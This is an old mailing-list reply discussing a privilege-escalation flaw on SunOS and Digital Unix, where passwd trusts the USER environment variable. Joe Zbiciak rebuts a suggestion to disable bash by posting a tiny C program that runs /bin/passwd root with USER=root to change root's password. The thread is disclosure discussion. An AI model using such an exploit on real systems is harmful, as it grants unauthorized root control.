Re: SunOS exploit. & DigitalUnix

[jzbiciak () DALDD SC TI COM (Joe Zbiciak)]

'Martin Mokrejs' said previously:
|
| This also works on Digital Unix 4.0B :-(
|
| login as generic user, than run bash,

[...]

| I succesfully modified root's password :-( Even we have C2 security
| installed :-(
|
| I suggest - disable bash !!!

Wrong answer!

If bash can do it, then ANY user-level process can do it.

Here's a program I whipped together in under a minute.  If I can do that
in a minute, what's disabling bash going to do?

main () {
        char * argv[] = { "passwd", "root", 0 };
        char * envp[] = { "USER=root", 0 };

        execve("/bin/passwd",argv,envp);
}

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak () daldd sc ti com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+